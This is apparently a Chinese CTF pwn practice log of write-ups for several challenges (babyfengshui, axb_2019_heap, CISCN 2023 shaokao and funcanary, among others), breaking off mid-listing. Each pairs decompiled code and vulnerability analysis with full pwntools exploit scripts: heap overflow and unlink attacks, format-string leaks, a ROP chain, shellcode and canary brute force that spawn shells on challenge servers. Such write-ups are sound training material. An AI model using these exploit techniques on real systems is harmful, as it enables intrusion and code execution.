刷题记录1

因为国赛将近,开始每天几道题,难度不等,之后会有patch的使用(算是预告和DIR-815的复现(早就复现一直没时间详细写

babyfengshui_33c3_2016

image-20240507223850443

是一道风水题,可以拿来找回感觉

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void __cdecl __noreturn main()
{
char v0; // [esp+3h] [ebp-15h] BYREF
int v1; // [esp+4h] [ebp-14h] BYREF
size_t v2[4]; // [esp+8h] [ebp-10h] BYREF

v2[1] = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x14u);
while ( 1 )
{
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", v2, &v0);
add(v2[0]);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
delete(LOBYTE(v2[0]));
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
show(v2[0]);
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
edit(v2[0]);
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( (unsigned __int8)byte_804B069 > 0x31u )// 有限制
{
puts("maximum capacity exceeded, bye");
exit(0);
}
}
exit(1);
}

是一个很常规的菜单堆

可以分析出一个结构体

1
2
3
4
struct Node{
char* description;
char name[0x7f];
}

他是首先会malloc一个堆作为存储des,然后再malloc 0x80来存储name和des堆的地址

主要的漏洞点在于edit函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int __cdecl sub_8048724(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h] BYREF
int v3; // [esp+18h] [ebp-10h] BYREF
unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B069 && *(&ptr + a1) )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)*(&ptr + a1)) >= (char *)*(&ptr + a1) - 4 )// 保证des的heap地址小于总heap地址
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
fgets_1(*(char **)*(&ptr + a1), v3 + 1); // v3可改说明堆溢出,但是要绕过上述的if
}
return __readgsdword(0x14u) ^ v4;
}

他的数据判断主要是通过地址的判断

思路

1.首先申请连续的3个结构体,description部分空间大小为0x80,方便计算:

堆块0 des 0x80 堆块0 node 0x80 堆块1 des 0x80 堆块1 node 0x80 堆块2 des 0x8 堆块2 node 0x80

2.释放第一个结构体,得到一个空闲的0x100的堆块:

空闲堆块0 x100 堆块1 des 0x80 堆块1 node 0x80 堆块2 des 0x8 堆块2 node 0x80

3.申请新的结构体,其description部分为0x100,根据linux堆的性质,会优先分配空闲的堆块,释放得到的空闲堆块可以满足description的空间需求,而node的空间需要新分配,得到下面的结构:

堆块0 des 0x100 堆块1 des 0x80 堆块1 node 0x80 堆块2 des 0x8 堆块2 node 0x80 堆块0 node 0x80

之后绕过只需要des的大小输入中间跨过的堆的大小就能实现堆溢出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
from LibcSearcher import*

context.log_level='debug'

path='./babyfengshui_1'
elf=ELF(path)

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

local=1
def run():
if local:
return process(path)
return remote('node5.buuoj.cn',28996)
def debug():
if local:
gdb.attach(p)
pause()

def add(size, length, text=bytearray):
sla('Action: ',b'0')
sla('size of description: ',tbs(size))
sla('name: ',b's1nec-1o')
sla('text length: ',tbs(length))
sla('text: ',text)

def delete(idx):
sla('Action: ',b'1')
sla('index: ',tbs(idx))

def show(idx):
sla('Action: ',b'2')
sla('index: ',str(idx).encode())

def edit(index, length, text):
sla("Action: ",b'3')
sla("index: ",tbs(index))
sla('length: ',tbs(length))
sla('text: ',text)

p=run()

add(0x80, 0x80, b's1nec-1o')
add(0x80, 0x80, b's1nec-1o')
add(0x8, 0x8, b'/bin/sh\x00')
delete(0)
add(0x100, 0x19c, b"a"*0x198+p32(elf.got['free']))
show(1)
ru('description: ')
free_addr=u32(r(4))
info(f"free_addr==>{hex(free_addr)}")
#debug()
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
sys_addr=libc_base+libc.dump('system')
info(f"system_addr===>{hex(sys_addr)}")
edit(1,0x4,p32(sys_addr))
debug()
delete(2)

irt()

至少本地通了(汗,远程太old了

护网杯_2018_gettingstart

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 buf[3]; // [rsp+10h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-18h]
double v6; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v5 = 0x7FFFFFFFFFFFFFFFLL;
v6 = 1.797693134862316e308;
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("HuWangBei CTF 2018 will be getting start after %lu seconds...\n", 0LL);
puts("But Whether it starts depends on you.");
read(0, buf, 0x28uLL);
if ( v5 == 0x7FFFFFFFFFFFFFFFLL && v6 == 0.1 )
{
printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", v6);
system("/bin/sh");
}
else
{
puts("Try again!");
}
return 0LL;
}

算是一个趣味题,是覆盖v5为7FFF…FFF然后覆盖v6为0.1就可以getshell,主要是v6的double型转换比较复杂(千万不要用gpt做这种工作。。。。。

浮点型:https://tooltt.com/floatconverter/

就有exp:

1
2
3
4
5
6
7
8
from pwn import*
path='start'
p=process(path)

pay=0x18*b'a'+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
p.recvuntil(b'But Whether it starts depends on you.\n')
p.sendline(pay)
p.interactive()

axb_2019_heap

image-20240508185905256

满保护

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
banner(); // 有个格式化字符串漏洞
while ( 1 )
{
menu();
v3 = get_int();
switch ( v3 )
{
case 1:
add_note();
break;
case 2:
delete_note();
break;
case 3:
puts("None!");
break;
case 4:
edit_note();
break;
default:
puts("No such choices!");
break;
}
}
}

首先是一个菜单堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 banner()
{
char format[12]; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Welcome to note management system!");
printf("Enter your name: ");
__isoc99_scanf("%s", format); // 一个栈溢出
printf("Hello, ");
printf(format); // 格式化字符串漏洞
puts("\n-------------------------------------");
return __readfsqword(0x28u) ^ v2;
}

banner函数中有一个栈溢出和格式化字符串漏洞,但是由于Canary的保护,他是无法进行栈溢出的,因此只能泄露了,而泄露的话一次性泄露code基址和libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
unsigned __int64 add_note()
{
unsigned int v0; // ebx
unsigned int v1; // ebx
unsigned int size; // [rsp+0h] [rbp-20h] BYREF
unsigned int index; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-18h]

v5 = __readfsqword(0x28u);
printf("Enter the index you want to create (0-10):");
__isoc99_scanf("%d", &index);
if ( index < 0xB )
{
if ( counts > 0xAu )
{
puts("full!");
exit(0);
}
puts("Enter a size:");
__isoc99_scanf("%d", &size);
if ( key == 43 ) // 用格式化字符串漏洞改key为43
{
puts("Enter the content: ");
v0 = index;
*((_QWORD *)&note + 2 * (int)v0) = malloc(size);
*((_DWORD *)&note + 4 * (int)index + 2) = size;
if ( !*((_QWORD *)&note + 2 * (int)index) )
{
fwrite("error", 1uLL, 5uLL, stderr);
exit(0);
}
}
else // 不改key只能进行这个
{
if ( size <= 0x80 )
{
puts("You can't hack me!");
return __readfsqword(0x28u) ^ v5;
}
puts("Enter the content: ");
v1 = index;
*((_QWORD *)&note + 2 * (int)v1) = malloc(size);
*((_DWORD *)&note + 4 * (int)index + 2) = size;
if ( !*((_QWORD *)&note + 2 * (int)index) )
{
fwrite("error", 1uLL, 5uLL, stderr);
exit(0);
}
}
if ( !(unsigned int)check_pass((char *)&note + 16 * (int)index) )
{
puts("go out!hacker!");
exit(0);
}
get_input(*((_QWORD *)&note + 2 * (int)index), size);// off by one
++counts;
puts("Done!");
}
else
{
puts("You can't hack me!");
}
return __readfsqword(0x28u) ^ v5;
}

其中漏洞点在于get_input函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
size_t __fastcall get_input(__int64 a1, int a2)
{
size_t result; // rax
signed int v3; // [rsp+10h] [rbp-10h]
_BYTE *v4; // [rsp+18h] [rbp-8h]

v3 = 0;
while ( 1 )
{
v4 = (_BYTE *)(v3 + a1);
result = fread(v4, 1uLL, 1uLL, stdin);
if ( (int)result <= 0 )
break;
if ( *v4 == '\n' )
{
if ( v3 )
{
result = v3 + a1;
*v4 = 0;
return result;
}
}
else
{
result = (unsigned int)++v3;
if ( a2 + 1 <= (unsigned int)v3 ) // off by one,写了a2+1个字节
return result;
}
}
return result;
}

一个off-by-one

这样还有edit,delete可以有思路即unlink改free_hook为system,之后free(‘/bin/sh\x00’)即可(但是好像(lll¬ω¬)key没用到)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import*
context.log_level='debug'

libc=ELF('./libc-2.23.so')
path='./axb'
elf=ELF(path)

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :info(f'{name}====>{hex(addr)}')

local=0
def run():
if local:
return process(path)
return remote('node5.buuoj.cn',27457)

def debug(duan=0):
if local:
if duan:
gdb.attach(p,duan)
pause()
return
gdb.attach(p)
pause()

p=run()
pal=b'%15$p.%19$p'
#debug()
sla('Enter your name: ',pal)
#debug()
ru('Hello, 0x')
#data=p64(int(r(12),16))
start_main=int(r(12),16)
ru('.0x')
bss_addr=int(r(12),16)-0x116a+0x202000
leak('bss_addr',bss_addr)
leak('start_main',start_main)
#debug()
libc_base=start_main-0x20830
leak('libc_base',libc_base)
system_addr=libc_base+0x45390
free_hook=libc_base+0x3C67A8
leak('free_hook',free_hook)
leak('system',system_addr)
#debug()

def add(index,size,content):
sla('>> ',b'1')
sla('Enter the index you want to create (0-10):',tbs(index))
sla('Enter a size:\n',tbs(size))
sla('Enter the content: \n',content)

def delete(index):
sla('>> ',b'2')
sla('Enter an index:\n',tbs(index))

def edit(index,content):
sla('>> ',b'4')
sla('Enter an index:\n',tbs(index))
sla('Enter the content: \n',content)

#enter size>0x80 else exit
note_addr=bss_addr+0x60
fake_fd=note_addr-0x8
fake_bk=note_addr
pal=p64(0)+p64(0x91)+p64(fake_fd)+p64(fake_bk)+p64(0)*14+p64(0x90)+b'\xa0'
add(0,0x98,b's1nec-1o')
add(1,0x98,b's1nec-1o')
add(2,0x98,b's1nec-1o')
add(3,0x98,b's1nec-1o')
edit(1,pal)
delete(2)
add(5,0x98,b'/bin/sh\x00')
pal=p64(0)+p64(free_hook)+p64(0x98)
edit(1,pal)
edit(0,p64(system_addr))
delete(5)
debug()
irt()

oneshot_tjctf_2016

image-20240508205504223
1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 (*v4)(void); // [rsp+8h] [rbp-8h] BYREF

setbuf(stdout, 0LL);
puts("Read location?");
__isoc99_scanf("%ld", &v4);
printf("Value: 0x%016lx\n", *(_QWORD *)v4);
puts("Jump location?");
__isoc99_scanf("%ld", &v4);
puts("Good luck!");
return v4();
}

注意:long int在linux是8字节的,在windows是4字节的(无论32 or 64)

这里首先是让我们输入v4的值然后泄露v4作为地址其上内容的值,之后还能再次输入v4的值,之后以v4为函数基址执行函数,就想到首先先泄露libc然后执行one_gadget(属实可供操控的内容较少只能试试看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
context.log_level='debug'

libc=ELF('./libc-2.23.so')
path='./oneshot'
elf=ELF(path)

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :info(f'{name}====>{hex(addr)}')

local=0
def run():
if local:
return process(path)
return remote('node5.buuoj.cn',26690)

def debug(duan=0):
if local:
if duan:
gdb.attach(p,duan)
pause()
return
gdb.attach(p)
pause()
p=run()
puts_got=elf.got['puts']
sla('Read location?\n',str(puts_got))
ru('Value: 0x')
puts_addr=int(r(16),16)
leak('puts_addr',puts_addr)
#debug()
libc_base=puts_addr-0x6F690
leak('libc_base',libc_base)
one_gadget=libc_base+0x45216 #0x45216 0x4526a 0xf02a4 0xf1147
sla('Jump location?\n',str(one_gadget))

irt()

也算是运气不错,一把过

wustctf2020_number_game

image-20240508213032791
1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int vulnerable()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 >= 0 || (v1 = -v1, v1 >= 0) )
printf("You lose");
else
shell();
return __readgsdword(0x14u) ^ v2;
}

本题要绕过第一个if然后就能实现shell了,那绕过变成了困难,首先v1是int型范围在-2147483648~2147483647之间,那么如果取-2147483648他的原码是0x80000000,而取反是取补码然后+1,所以他的补码也是0x80000000,就能实现shell

starctf_2019_babyshell

image-20240508215231736

这题算是一个\x00的妙用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_BYTE *buf; // [rsp+0h] [rbp-10h]

sub_4007F8(a1, a2, a3);
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
puts("give me shellcode, plz:");
read(0, buf, 0x200uLL);
if ( !(unsigned int)sub_400786(buf) )
{
printf("wrong shellcode!");
exit(0);
}
((void (*)(void))buf)();
return 0LL;
}

可以执行shellcode但是要先绕过if的检查

而检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_400786(_BYTE *a1)
{
const char *i; // [rsp+18h] [rbp-10h]

while ( *a1 )
{
for ( i = "ZZJ loves shell_code,and here is a gift:\x0F\x05 enjoy it!\n"; *i && *i != *a1; ++i )
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
}

却非常阴间,如果真的按照这个去执行,很难才能get shell,笔者还是太菜了,想不出来看了网上大佬的wp,发现我只注意for循环却没注意到第一个while(*a1)只要让这个为假就能跳过了,因此在shell开头扔个\x00即可跳过检查,再后面搭配几个字节码凑个汇编之后加上自己的shellcode就可以getshell了

1
2
3
4
5
6
7
8
from pwn import*
context(arch = 'amd64', os = 'linux')

shell=b'\x00\x42\x00'+asm(shellcraft.amd64.linux.sh())
p=process('./babyshell')
p.recvuntil('plz:\n')
p.sendline(shell)
p.interactive()

https://defuse.ca/online-x86-assembler.htm#disassembly这可以实现机器码转汇编,因为要找\x00之后接的机器码后的汇编。。

还是太菜了,任重而道远。。。

gyctf_2020_some_thing_exceting

image-20240509003059436

CISCN-2023 烧烤摊儿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d

init();
while ( 1 )
{
switch ( (unsigned int)menu(*(__int64 *)&argc, (__int64)argv, v3, v4, v5, v6) )
{
case 1u:
pijiu();
break;
case 2u:
chuan();
break;
case 3u:
yue(*(__int64 *)&argc, (__int64)argv, v3, v4, v5, v6);
break;
case 4u:
vip();
break;
case 5u:
if ( own )
gaiming();
break;
default:
printf((unsigned int)&unk_4B7008, (_DWORD)argv, v3, v4, v5, v6);
exit(0LL);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall menu(__int64 a1, __int64 a2, int a3, int a4, int a5, int a6)
{
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
unsigned int v11; // [rsp+Ch] [rbp-4h] BYREF

printf((unsigned int)"欢迎来到%s烧烤摊儿,来点啥?\n", (unsigned int)&name, a3, a4, a5, a6);
puts("1. 啤酒");
puts("2. 烤串");
puts("3. 钱包余额");
puts("4. 承包摊位");
if ( own )
puts("5. 改名");
puts("0. 离开");
putchar('>');
putchar(' ');
_isoc99_scanf((unsigned int)&_d, (unsigned int)&v11, v6, v7, v8, v9);
return v11;
}

发现当own为真时有新的选项

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 gaiming()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
char v5; // [rsp+0h] [rbp-20h] BYREF

puts("烧烤摊儿已归你所有,请赐名:");
_isoc99_scanf((unsigned int)&_s, (unsigned int)&v5, v0, v1, v2, v3);// 栈溢出
j_strcpy_ifunc();
return 0LL;
}

其中有个栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 pijiu()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
int num; // [rsp+8h] [rbp-8h] BYREF
int choose; // [rsp+Ch] [rbp-4h] BYREF

choose = 1;
num = 1;
puts("1. 青岛啤酒");
puts("2. 燕京U8");
puts("3. 勇闯天涯");
_isoc99_scanf((unsigned int)&_d, (unsigned int)&choose, v0, v1, v2, v3);
puts("来几瓶?");
_isoc99_scanf((unsigned int)&_d, (unsigned int)&num, v4, v5, v6, v7);
if ( 10 * num >= money )
puts("诶哟,钱不够了");
else
money += -10 * num;
puts(&unk_4B7105);
return 0LL;
}

发现这个计算钱的方式很奇怪,当买的为负数时,会加钱,而加钱可以买摊位,然后就有栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import*
from LibcSearcher import*
from struct import pack
context.log_level='debug'

path='./shaokao'
elf=ELF(path)

r =lambda num=4096 :io.recv(num)
ru =lambda content,drop=False :io.recvuntil(content,drop)
rl =lambda :io.recvline()
sla =lambda flag,content :io.sendlineafter(flag,content)
sa =lambda flag,content :io.sendafter(flag,content)
sl =lambda content :io.sendline(content)
s =lambda content :io.send(content)
irt =lambda :io.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :info(f'{name}====>{hex(addr)}')

local=0
def run():
if local:
return process(path)
return remote('node4.anna.nssctf.cn',28368)

def debug(duan=0):
if local:
if duan:
gdb.attach(p,duan)
pause()
return
gdb.attach(p)
pause()

io=run()
offset=40
p = b'a'*offset

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

sla('> ',b'1')
sla('3. 勇闯天涯\n',b'1')
sla('来几瓶?\n',b'-10000')
sla('> ',b'4')
sla('> ',b'5')
sla(':\n',p)
irt()

算是非常简单的题目了

[CISCN 2023 初赛]funcanary

image-20240509113441769
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // [rsp+Ch] [rbp-4h]

sub_1243();
while ( 1 )
{
v3 = fork(); // 子进程
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0LL); // 父进程
}
else
{
puts("welcome"); // 子进程
sub_128A("welcome", a2);
puts("have fun");
}
}
puts("fork error");
exit(0);
}

首先是父子进程的

1
2
3
4
5
6
7
8
9
unsigned __int64 sub_128A()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]

v2 = __readfsqword(0x28u);
read(0, buf, 0x80uLL); // 爆破Canary
return v2 - __readfsqword(0x28u);
}

这里面会溢出0x10个字节,但显然要爆破Canary,而image-20240509113846870

有个后门函数,但是要绕过Pie,直接覆盖尾巴3字节第四个字节爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import*
from LibcSearcher import*
from struct import pack
context.log_level='debug'

path='./service'
elf=ELF(path)

r =lambda num=4096 :io.recv(num)
ru =lambda content,drop=False :io.recvuntil(content,drop)
rl =lambda :io.recvline()
sla =lambda flag,content :io.sendlineafter(flag,content)
sa =lambda flag,content :io.sendafter(flag,content)
sl =lambda content :io.sendline(content)
s =lambda content :io.send(content)
irt =lambda :io.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :info(f'{name}====>{hex(addr)}')

local=0
def run():
if local:
return process(path)
return remote('node5.anna.nssctf.cn',29486)

def debug(duan=0):
if local:
if duan:
gdb.attach(p,duan)
pause()
return
gdb.attach(p)
pause()
io=run()
def leak_canary():
canary="\x00"
offset=0x68
for j in range(7):
for k in range(0xff):
payload='a'*offset+canary+chr(k)
io.sendafter("welcome\n",payload)
try:
a=io.recv(timeout=0.2)
if a==b"have fun\n":
canary+=chr(k)
print(canary)
break
except:
pass
return canary
catflag=0x0231
canary=leak_canary()
while(1):
for i in range(16):
payload = b'A' * 0x68 + bytes(canary) + b'A' * 8 + p16(catflag)
io.send(payload)
#pause()
a = io.recvuntil("welcome\n",timeout=1)
print(a)
if b"welcome" in a:
catflag += 0x1000
continue
if b"NSSCTF" in a:
print(a)
break
irt()

但是远程打不通,不知道为什么,canary爆破不出来,很奇怪

[LitCTF 2023]狠狠的溢出涅~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[91]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int8 v5; // [rsp+6Bh] [rbp-5h]
int v6; // [rsp+6Ch] [rbp-4h]

v6 = 0;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Leave your message:");
read(0, buf, 0x200uLL);
v5 = strlen(buf); // 就一个显然\x00绕过
if ( v5 > 0x50u )
{
puts("hacker");
exit(0);
}
puts("Ok,Message Received");
return 0;
